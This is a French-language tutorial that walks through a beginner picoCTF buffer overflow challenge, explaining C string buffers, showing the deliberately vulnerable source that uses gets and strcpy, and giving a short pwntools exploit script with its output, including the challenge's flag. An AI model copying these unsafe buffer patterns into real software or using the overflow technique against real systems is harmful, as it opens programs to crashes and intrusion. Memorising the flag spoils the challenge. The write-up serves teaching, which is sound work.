Shrug

Guide des buffer overflow (partie 1)

#BinaryExploit#PWN#bowie41

Le principe des buffer overflow

Dans ce guide, on va découvrir les bases de l'exploitation de buffer overflow en résolvant un challenge du picogim :

Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. Additional details will be available after launching your challenge instance.

Pour ce challenge, on nous donne le fichier executable a exploiter et le code source en C :

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { printf("%s\n", flag); fflush(stdout); exit(1); } void vuln(char *input) { char buf2[16]; strcpy(buf2, input); } int main(int argc, char **argv) { FILE *f = fopen("flag.txt", "r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(flag, FLAGSIZE_MAX, f); signal(SIGSEGV, sigsegv_handler); // Set up signal handler gid_t gid = getegid(); setresgid(gid, gid, gid); printf("Input: "); fflush(stdout); char buf1[100]; gets(buf1); vuln(buf1); printf("The program will exit now\n"); return 0; }

Le programme requiert la présence d'un fichier flag.txt de debug, on en créé donc un :

terminal
bash
$- echo picoCTF{flag} > flag.txt

Avant meme de penser a trouver une faille, il faut revenir aux bases de la syntaxe du langage C :

Les variables de type chaine de caracteres sont définies comme suit :

char name[size] = value;

Avec :

  • name le nom de la variable
  • size la taille maximum de la chaine
  • value la chaine

Par exemple, une variable nomée foo de taille maximum 5 et contenant "bar" est définie :

char foo[5] = "bar";

Il est également possible de définir une variable de type chaine de caractere sans valeur :

char name[size];

Lorsqu'on créé une variable (avec une valeur ou non), le programme réserve size bytes dans la mémoire pour pouvir stocker cette variable. On peut voir ca comme une boite de taille size.

Par exemple si on execute

char foo[64];

Le programme va prendre une boite vide de taille 64 en attendant de devoir mettre quelque chose dedans et va aller la poser avec le reste des boites. On dit qu'il réserve 64 bytes dans la mémoire.

Si on essaye dans le futur de faire rentrer une chaine de plus de 64 caractères dans cette boite, la chaine sera trop grande et va déborder sur la boite d'après, c'est le principe des failles de type buffer overflow.

Par exemple, dans ce challenge, le programme utilise la fonction strcpy (stringcopy) qui copie une chaine de caractères d'une variable a une autre :

strcpy(buf2, input);

Cependant, en regardant le code on trouve :

void vuln(char *input) { char buf2[16]; strcpy(buf2, input); } char buf1[100]; gets(buf1); vuln(buf1);

Soit, réécris de manière plus lisibe :

char buf1[100]; gets(buf1); //gets prend une entrée utilisateur et la stocke dans buf1 char buf2[16]; strcpy(buf2, buf1); //strcpy copie buf1 dans buf2

Le programme créé donc une boite de taille 100 puis la remplis avec l'entrée utilisateur. Il créé ensuite une boite de taille 16 et copie le contenu de la premiere boite vers la deuxieme.

Le problème est assez évident : si l'utilisateur entre une chaine de plus de 16 caracteres, quand le programme va tenter de copier cette chaine dans la deuxieme boite, elle va déborder et causer une faille de type buffer overflow.

Si le buffer overflow est assez grand, il va déorder sur des boites importantes comme celle de l'adresse de retour ou d'une autre variable et réécrire son contenu. Cela cause généralement des erreurs de type SIGSEV.

Dans le cas de ce challenge, le but est d'éxécuter la fonction sigsev_handler qui affiche le flag à l'écran

void sigsegv_handler(int sig) { printf("%s\n", flag); fflush(stdout); exit(1); }

Pour cela il faut comprendre cette ligne :

signal(SIGSEGV, sigsegv_handler);

-> Elle redirige les erreurs de type SIGSEV vers la fonction sigsev_handler. Autrement dit, si on arrive a faire un buffer overflow assez grand qu'il cause cause une erreur SIGSEV, le programme affiche le flag.

Dans ce challenge l'exploit de la faille est assez facile, il suffit juste de rentrer une longue chaine de caracteres en entrée :

terminal
bash
$- ./chall > Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa picoCTF{flag}

On met alors en place l'exploit en remote (se connecter au challenge pour trouver le vrai flag) grace a python et la lib pwntools :

from pwn import * p = remote("HOST", PORT) payload = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' p.sendline(payload) p.interactive()

Puis on l'execute :

terminal
bash
$- python3 exploit.py [x] Opening connection to HOST on port PORT [x] Opening connection to HOST on port PORT: Trying XX.XX.XX.XX [+] Opening connection to HOST on port PORT: Done [*] Switching to interactive mode Input: picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc} [*] Got EOF while reading in interactive

T'as vu c'est pas si pire le binary exploit :)